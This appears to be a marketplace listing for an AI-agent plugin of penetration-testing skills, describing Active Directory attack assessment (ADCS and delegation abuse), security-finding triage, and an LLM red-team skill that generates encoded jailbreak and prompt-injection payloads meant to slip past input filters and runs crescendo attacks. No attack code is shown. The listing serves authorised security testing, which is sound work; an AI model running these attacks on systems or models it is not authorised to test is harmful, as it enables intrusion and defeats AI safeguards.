/agent-smith:oauth-security <target-url> [flow=auth-code|implicit|device-code|pkce|oidc|mobile] [depth=quick|standard|thorough]from agent-smith
npx claudepluginhub 0x0pointer/skills --plugin agent-smith36 skills in this plugin
/ad-assessmentActive Directory security audit using the MITRE ATT&CK framework. Full domain enumeration, trust mapping, GPO analysis, ACL abuse paths, ADCS attacks (ESC1-ESC8), delegation abuse (constrained/unconstrained/RBCD), fine-grained password policies, LAPS deployment, service account security, and Kerberos configuration.
Uses enum4linux-ng, netexec, impacket, ldapsearch, certipy-ad, bloodhound-python, and rpcclient. Produces attack path diagrams, prioritized risk register, and PoCs. Chains into /gh-export for issue filing.
/aikido-triageTriages Aikido security findings live via the Aikido MCP — no CSV. Splits findings into SCA, SAST, Application Secrets, and Misconfiguration, applies a category-specific verification playbook to each (source-to-sink taint analysis with trust-boundary/reachability assessment for SAST, /analyze-cve chaining for SCA, usage + opt-in liveness checks for secrets, blast-radius reasoning with optional live-chain confirmation for misconfiguration), scores every finding's business impact and severity, then closes confirmed non-issues directly in Aikido after a single review checkpoint.
/ai-redteamAI/LLM red-team assessment using OWASP LLM Top 10 (2025), the OWASP AI Testing Guide (AITG v1, Nov 2025), and OWASP MCP Top 10 runtime testing for agentic/MCP targets. Tests prompt injection, jailbreaks, system prompt leakage, sensitive data extraction, excessive agency, improper output handling, model extraction, content bias, evasion, membership inference, MCP token exposure, and MCP command injection.
Combines Garak (probe-based automated scanning) with agent-driven manual testing via the transform() payload tool - a pure-Python engine (base/cipher/homoglyph/zero-width encodings, mutation fuzzer, bijection scaffold, token-bombs, universal decoder) for jailbreak/injection payloads that slip past input filters. The agent drives multi-turn/crescendo attacks. Includes a conditional MCP recon phase and a post-access AI infrastructure phase (chained from /post-exploit). Produces an OWASP LLM Top 10 + AITG + MCP coverage matrix, findings, a diagram, and PoCs. Chains into /gh-export.
Other plugins' skills for the same job